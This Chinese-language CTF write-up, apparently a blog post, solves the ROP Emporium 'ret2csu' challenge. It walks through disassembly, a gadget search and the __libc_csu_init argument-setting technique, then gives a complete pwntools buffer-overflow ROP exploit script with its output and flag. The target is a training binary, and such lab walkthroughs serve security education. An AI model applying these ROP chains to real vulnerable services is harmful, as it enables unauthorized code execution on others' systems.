ROP_Emporium_ret2csu
文章目录
- 1. ret2csu
- 信息收集
- 反汇编
- 关于ret2csu利用
- Rop chain
- Exp
- 3. 参考文章
1. ret2csu
信息收集
题目只有64位版本,提供了以下文件:
encrypted_flag.dat key.dat libret2csu.so ret2csu
作者提示,这个题和callme类似,调用ret2win()并提供指定的参数即可,但缺少明显的可利用的gadget。
$ file ret2csu
ret2csu: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=f722121b08628ec9fc4a8cf5abd1071766097362, not stripped
$ checksec ./ret2csu
[*] '/home/starr/Documents/CProject/pwn/ret2csu'Arch: amd64-64-littleRELRO: Partial RELROStack: No canary foundNX: NX enabledPIE: No PIERUNPATH: b'.'
$ ldd ret2csulinux-vdso.so.1 (0x00007ffdd03c9000)libret2csu.so => ./libret2csu.so (0x00007f0e7811f000)libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f0e77d2e000)/lib64/ld-linux-x86-64.so.2 (0x00007f0e78322000)
$ checksec ./libret2csu.so
[*] '/home/starr/Documents/CProject/pwn/libret2csu.so'Arch: amd64-64-littleRELRO: Partial RELROStack: No canary foundNX: NX enabledPIE: PIE enabled
反汇编
$ objdump -d -M intel ret2csu
0000000000400500 <pwnme@plt>:
0000000000400510 <ret2win@plt>:
0000000000400607 <main>:400607: 55 push rbp400608: 48 89 e5 mov rbp,rsp40060b: e8 f0 fe ff ff call 400500 <pwnme@plt>400610: b8 00 00 00 00 mov eax,0x0400615: 5d pop rbp400616: c3 ret0000000000400617 <usefulFunction>:400617: 55 push rbp400618: 48 89 e5 mov rbp,rsp40061b: ba 03 00 00 00 mov edx,0x3400620: be 02 00 00 00 mov esi,0x2400625: bf 01 00 00 00 mov edi,0x140062a: e8 e1 fe ff ff call 400510 <ret2win@plt>...
$ objdump -d -M intel libret2csu.so
000000000000093a <pwnme>:...9ae: 48 8d 45 e0 lea rax,[rbp-0x20]9b2: ba 00 02 00 00 mov edx,0x2009b7: 48 89 c6 mov rsi,rax9ba: bf 00 00 00 00 mov edi,0x09bf: e8 2c fe ff ff call 7f0 <read@plt> read(stdin, rbp-0x20, 0x200)...9d0: 90 nop9d1: c9 leave9d2: c3 ret00000000000009d3 <ret2win>:9d3: 55 push rbp9d4: 48 89 e5 mov rbp,rsp9d7: 48 83 ec 30 sub rsp,0x309db: 48 89 7d e8 mov QWORD PTR [rbp-0x18],rdi arg09df: 48 89 75 e0 mov QWORD PTR [rbp-0x20],rsi arg19e3: 48 89 55 d8 mov QWORD PTR [rbp-0x28],rdx arg29e7: 48 c7 45 f0 00 00 00 mov QWORD PTR [rbp-0x10],0x09ee: 009ef: 48 b8 ef be ad de ef movabs rax,0xdeadbeefdeadbeef arg09f6: be ad de9f9: 48 39 45 e8 cmp QWORD PTR [rbp-0x18],rax9fd: 0f 85 d7 00 00 00 jne ada <ret2win+0x107>a03: 48 b8 be ba fe ca be movabs rax,0xcafebabecafebabe arg1a0a: ba fe caa0d: 48 39 45 e0 cmp QWORD PTR [rbp-0x20],raxa11: 0f 85 c3 00 00 00 jne ada <ret2win+0x107>a17: 48 b8 0d f0 0d d0 0d movabs rax,0xd00df00dd00df00d arg2a1e: f0 0d d0a21: 48 39 45 d8 cmp QWORD PTR [rbp-0x28],raxa25: 0f 85 af 00 00 00 jne ada <ret2win+0x107>...b26: e8 05 fd ff ff call 830 <fopen@plt>...b63: e8 78 fc ff ff call 7e0 <fgetc@plt>... 省略解密过程
缓冲区距离返回地址(rbp+8) - (rbp-0x20) == 0x28
字节。
要想通过ret2win解密flag并输出,需要传递三个硬编码的参数:
rdi = 0xdeadbeefdeadbeef
rsi = 0xcafebabecafebabe
rdx = 0xd00df00dd00df00d
搜一下gadget:
pwndbg> rop --grep "pop"
...
0x000000000040069c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040069e : pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004006a0 : pop r14 ; pop r15 ; ret
0x00000000004006a2 : pop r15 ; ret
0x000000000040057b : pop rbp ; mov edi, 0x601038 ; jmp rax
0x000000000040069b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040069f : pop rbp ; pop r14 ; pop r15 ; ret
0x0000000000400588 : pop rbp ; ret
0x00000000004006a3 : pop rdi ; ret
0x00000000004006a1 : pop rsi ; pop r15 ; ret
0x000000000040069d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
可以搜到rdi, rsi,但是没有rdx。搜索xchg等指令也是无果。这种情况可以考虑使用ret2csu技术。
关于ret2csu利用
Ret2csu是blackhat大会在2018年的一个议题,即通过__libc_csu_init
函数中的两个特殊 gadgets可实现万能传参。这个函数用来初始化libc,所以一定会存在。
$ objdump -d -M intel ./ret2csu
...
0000000000400510 <ret2win@plt>:
...
0000000000400640 <__libc_csu_init>:400640: 41 57 push r15400642: 41 56 push r14400644: 49 89 d7 mov r15,rdx400647: 41 55 push r13400649: 41 54 push r1240064b: 4c 8d 25 9e 07 20 00 lea r12,[rip+0x20079e] # 600df0 <__frame_dummy_init_array_entry>400652: 55 push rbp400653: 48 8d 2d 9e 07 20 00 lea rbp,[rip+0x20079e] # 600df8 <__init_array_end>40065a: 53 push rbx40065b: 41 89 fd mov r13d,edi40065e: 49 89 f6 mov r14,rsi400661: 4c 29 e5 sub rbp,r12400664: 48 83 ec 08 sub rsp,0x8400668: 48 c1 fd 03 sar rbp,0x340066c: e8 5f fe ff ff call 4004d0 <_init>400671: 48 85 ed test rbp,rbp400674: 74 20 je 400696 <__libc_csu_init+0x56>400676: 31 db xor ebx,ebx400678: 0f 1f 84 00 00 00 00 nop DWORD PTR [rax+rax*1+0x0]40067f: 00400680: 4c 89 fa mov rdx,r15 pGadgetCsuMov400683: 4c 89 f6 mov rsi,r14400686: 44 89 ef mov edi,r13d400689: 41 ff 14 dc call QWORD PTR [r12+rbx*8] 想办法使 rbx=040068d: 48 83 c3 01 add rbx,0x1400691: 48 39 dd cmp rbp,rbx 阻止跳转 <-- rbp == rbx + 0x1 == 1400694: 75 ea jne 400680 <__libc_csu_init+0x40>400696: 48 83 c4 08 add rsp,0x840069a: 5b pop rbx pGadgetCsuPop40069b: 5d pop rbp40069c: 41 5c pop r1240069e: 41 5d pop r134006a0: 41 5e pop r144006a2: 41 5f pop r154006a4: c3 ret
函数中有两段gadget:pGadgetPop和pGadgetCall。Ret2csu的流程如下:
执行pGadgetCsuPop,返回到pGadgetCall;
pGadgetCsuMov:
edi == r13d ,无法赋值8个字节;
rsi == r14 == 0xcafebabecafebabe;
rdx == r15 == 0xd00df00dd00df00d;
rbx == 0;
call [r12];
rbp == rbx + 0x1 == 0x1;
0x400696往后还会再执行一遍pGadgetPop,需要在栈里填充8*7个字节;
pGadgetPopRdi, 赋值rdi == 0xdeadbeefdeadbeef;
ret2win
因在rdi并没有赋值为0xdeadbeefdeadbeef,所以需要再执行一遍pGadgetPop,返回一个 pop rdi的gadget。
R12的地址需要解引用,类似got这样的跳转表,并且执行的指令不能影响栈平衡和寄存器的值。Gdb pwndbg提供了telescope命令, 译为望远镜,很形象:
pwndbg> help telescope
Recursively dereferences pointers starting at the specified address
除了got,dynamic,init_array,fini_array这几个section也可以试试:
$ readelf -S ret2csu
There are 29 section headers, starting at offset 0x1930:Section Headers:[Nr] Name Type Address OffsetSize EntSize Flags Link Info Align...[18] .init_array INIT_ARRAY 0000000000600df0 00000df00000000000000008 0000000000000008 WA 0 0 8[19] .fini_array FINI_ARRAY 0000000000600df8 00000df80000000000000008 0000000000000008 WA 0 0 8[20] .dynamic DYNAMIC 0000000000600e00 00000e0000000000000001f0 0000000000000010 WA 6 0 8[21] .got PROGBITS 0000000000600ff0 00000ff00000000000000010 0000000000000008 WA 0 0 8[22] .got.plt PROGBITS 0000000000601000 000010000000000000000028 0000000000000008 WA 0 0 8
pwndbg> telescope 0x0000000000600df0 2 # init_array + fini_array
00:0000│ 0x600df0 (__init_array_start) —▸ 0x400600 (frame_dummy) ◂— push rbp
01:0008│ 0x600df8 (__do_global_dtors_aux_fini_array_entry) —▸ 0x4005d0 (__do_global_dtors_aux) ◂— cmp byte ptr [rip + 0x200a61], 0
pwndbg> telescope 0x0000000000600e00 62 # dynamic
00:0000│ 0x600e00 (_DYNAMIC) ◂— 0x1
... ↓ 2 skipped
...
07:0038│ 0x600e38 (_DYNAMIC+56) —▸ 0x4004d0 (_init) ◂— sub rsp, 8 !!!!!!!!!!!!!
08:0040│ 0x600e40 (_DYNAMIC+64) ◂— 0xd /* '\r' */
09:0048│ 0x600e48 (_DYNAMIC+72) —▸ 0x4006b4 (_fini) ◂— sub rsp, 8 !!!!!!!!!!!!!
0a:0050│ 0x600e50 (_DYNAMIC+80) ◂— 0x19
0b:0058│ 0x600e58 (_DYNAMIC+88) —▸ 0x600df0 (__init_array_start) —▸ 0x400600 (frame_dummy) ◂— push rbp !!!!!!!!!!!!!!
...
0f:0078│ 0x600e78 (_DYNAMIC+120) —▸ 0x600df8 (__do_global_dtors_aux_fini_array_entry) —▸ 0x4005d0 (__do_global_dtors_aux) ◂— cmp byte ptr [rip + 0x200a61], 0
...
13:0098│ 0x600e98 (_DYNAMIC+152) —▸ 0x400298 ◂— add eax, dword ptr [rax]
14:00a0│ 0x600ea0 (_DYNAMIC+160) ◂— 0x5
15:00a8│ 0x600ea8 (_DYNAMIC+168) —▸ 0x4003c0 ◂— add byte ptr [rcx + rbp*2 + 0x62], ch
16:00b0│ 0x600eb0 (_DYNAMIC+176) ◂— 0x6
17:00b8│ 0x600eb8 (_DYNAMIC+184) —▸ 0x4002d0 ◂— add byte ptr [rax], al
...
pwndbg> telescope 0x0000000000600ff0 7
00:0000│ 0x600ff0 —▸ 0x7ffff7800ba0 (__libc_start_main) ◂— push r13
01:0008│ 0x600ff8 ◂— 0x0
02:0010│ 0x601000 (_GLOBAL_OFFSET_TABLE_) —▸ 0x600e00 (_DYNAMIC) ◂— 0x1
03:0018│ 0x601008 (_GLOBAL_OFFSET_TABLE_+8) —▸ 0x7ffff7ffe170 ◂— 0x0
04:0020│ 0x601010 (_GLOBAL_OFFSET_TABLE_+16) —▸ 0x7ffff7dea820 (_dl_runtime_resolve_xsave) ◂— push rbx
05:0028│ 0x601018 (_GLOBAL_OFFSET_TABLE_+24) —▸ 0x400506 (pwnme@plt+6) ◂— push 0 /* 'h' */
06:0030│ 0x601020 (_GLOBAL_OFFSET_TABLE_+32) —▸ 0x400516 (ret2win@plt+6) ◂— push 1
init_array_start
函数是ELF程序的一个初始化函数,运行它一般不会对栈空间造成影响,但这里却把rsi给改变了。。。
00000000000008a0 <register_tm_clones>:8a0: 48 8d 3d d1 17 20 00 lea rdi,[rip+0x2017d1] # 202078 <_edata>8a7: 48 8d 35 ca 17 20 00 lea rsi,[rip+0x2017ca] # 202078 <_edata>8ae: 55 push rbp8af: 48 29 fe sub rsi,rdi !!!!!!!!!!!!!!!!!!!!!!!!8b2: 48 89 e5 mov rbp,rsp8b5: 48 c1 fe 03 sar rsi,0x3 !!!!!!!!!!!!!!!!!!!!!!!!8b9: 48 89 f0 mov rax,rsi8bc: 48 c1 e8 3f shr rax,0x3f8c0: 48 01 c6 add rsi,rax !!!!!!!!!!!!!!!!!!!!!!!!8c3: 48 d1 fe sar rsi,1 !!!!!!!!!!!!!!!!!!!!!!!!...
0000000000000930 <frame_dummy>:930: 55 push rbp931: 48 89 e5 mov rbp,rsp934: 5d pop rbp935: e9 66 ff ff ff jmp 8a0 <register_tm_clones>
另外两个,_init
和_fini
,看了一下,后者也很合适:
pwndbg> disassemble 0x4006b4
Dump of assembler code for function _fini:0x00000000004006b4 <+0>: sub rsp,0x80x00000000004006b8 <+4>: add rsp,0x80x00000000004006bc <+8>: ret
Rop chain
padding len 0x28pGadgetCsuPop 0x40069a
0 pop to rbx
1 pop to rbp, 0x1 == rbx + 0x1
p_init_array_start 0x600e58 pop to r12
0 pop to r13
0xcafebabecafebabe pop to r14
0xd00df00dd00df00d pop to r15
pGadgetCsuMov 0x400680p(64)*7 pGadgetCsuPop againpGadgetPopRdi 0x00000000004006a3 : pop rdi ; ret
0xdeadbeefdeadbeef
ret2win
Exp
# coding:utf-8
from pwn import *context.arch = "amd64"
context.bits = 64
context.os = "linux"def getio(program):io = process(program)# io = gdb.debug([program], "b main")return io;g_nBufOverflowIndex = 0x28
pGadgetCsuPop = 0x40069a
pGadgetCsuMov = 0x400680pGadgetPopRdi = 0x00000000004006a3 # pop rdi ; ret# pp_init_array_start = 0x600df0 一般用它,但本题布星~
ppFini = 0x600e48nArg0_rdi = 0xdeadbeefdeadbeef
nArg1_rsi = 0xcafebabecafebabe
nArg2_rdx = 0xd00df00dd00df00dstrProgram = "./ret2csu"
strSo = "./libret2csu.so"elf = ELF(strProgram)
pRet2Win = elf.plt["ret2win"] # 0x0000000000400510rop_chain = b"".join([b"A" * g_nBufOverflowIndex,p64(pGadgetCsuPop),p64(0), # pop to rbxp64(1), # pop to rbp, 0x1 == rbx + 0x1# _fini# p64(pp_init_array_start), #pop to r12 call QWORD PTR [r12+rbx*8]p64(ppFini), #pop to r12 call QWORD PTR [r12+rbx*8]p64(0), # pop to r13p64(nArg1_rsi), # pop to r14p64(nArg2_rdx), # pop to r15p64(pGadgetCsuMov), # retp64(0)*7, # pGadgetCsuPop againp64(pGadgetPopRdi),p64(nArg0_rdi),p64(pRet2Win)
])io = getio(strProgram)
io.clean()# gdb.attach(io)
# pause()io.sendline(rop_chain)
print(io.recv(timeout=10))
io.interactive()# sudo python2 exp64.py
# [*] '/home/starr/Documents/CProject/pwn/ret2csu'
# Arch: amd64-64-little
# RELRO: Partial RELRO
# Stack: No canary found
# NX: NX enabled
# PIE: No PIE (0x400000)
# RUNPATH: '.'
# [+] Starting local process './ret2csu': pid 6638
# Thank you!
# [*] Switching to interactive mode
# [*] Process './ret2csu' stopped with exit code 0 (pid 6638)# ROPE{a_placeholder_32byte_flag!}
3. 参考文章
ROP-Ret2csu详解 | 偏有宸机 (gitee.io)
asia-18-Marco-return-to-csu-a-new-method-to-bypass-the-64-bit-Linux-ASLR-wp.pdf (blackhat.com)
ROP Emporium - Ret2csu (x64) - blog.r0kithax.com
ret2csu - 先知社区 (aliyun.com)
ROP_Emporium_ret2csu相关推荐
最新文章
- 日常工作,怎么结合工具设计有效的时间管理?
- python键盘输入代码,python监控键盘输入实例代码
- Mysql连接数据库的操作
- iOS使用UIBezierPath实现ProgressView
- 《MySQL——InnoDB与Memory以及临时表》
- win10 uwp 使用 msbuild 命令行编译 UWP 程序
- C语言简明数据类型指南
- DEV ComBoxEdit实现模糊检索数据
- 一个微信群机器人PHP,vbot微信机器人操作联系人的API(3)微信群API
- linux重装系统驱动,linux系统下安装驱动方法
- 助教日志_沈航1.2班第一二周作业
- 区块链靠什么开启下一个互联网传奇?迅雷链:回归技术
- html5学生大作业,帮同学做的大一大作业:《我的家乡—郑州》 - 梦涵的帅爸爸...
- 腕象谈表:V6卡地亚山度士后镶满钻评测
- 堆溢出(二)空表DWORD SHOOT
- 导出excel时,弹出的下载窗口一闪而过
- OVERLAPPED I/O 异步APC
- Excel 数据透视表小技巧之 06 使用 Excel 数据透视表作为另一个数据透视表的数据源
- 5月6日—5月9日三年级课程新
- 注意力机制——ECANet(Efficient Channel Attention Network)
热门文章
- 走近Ts,用了爽,用后一直爽(一)
- 数据库触发器(转自http://blog.csdn.net/chinayuan/article/details/6292335/#)
- 【RGB和RGBA之间的转换】也许对你有用
- linux学习笔记(十一)-----linux中的虚拟机管理
- OpenCV4教程——4.1 窗口相关操作
- springboot通过ITextPDF写入模板并下载
- 老杨刷完了23个跨年演讲,这6场最适合网工
- 尚硅谷电商管理平台笔记2
- 2022年中国移动互联网半年报告
- 使用Syncthing搭建自己的私人网盘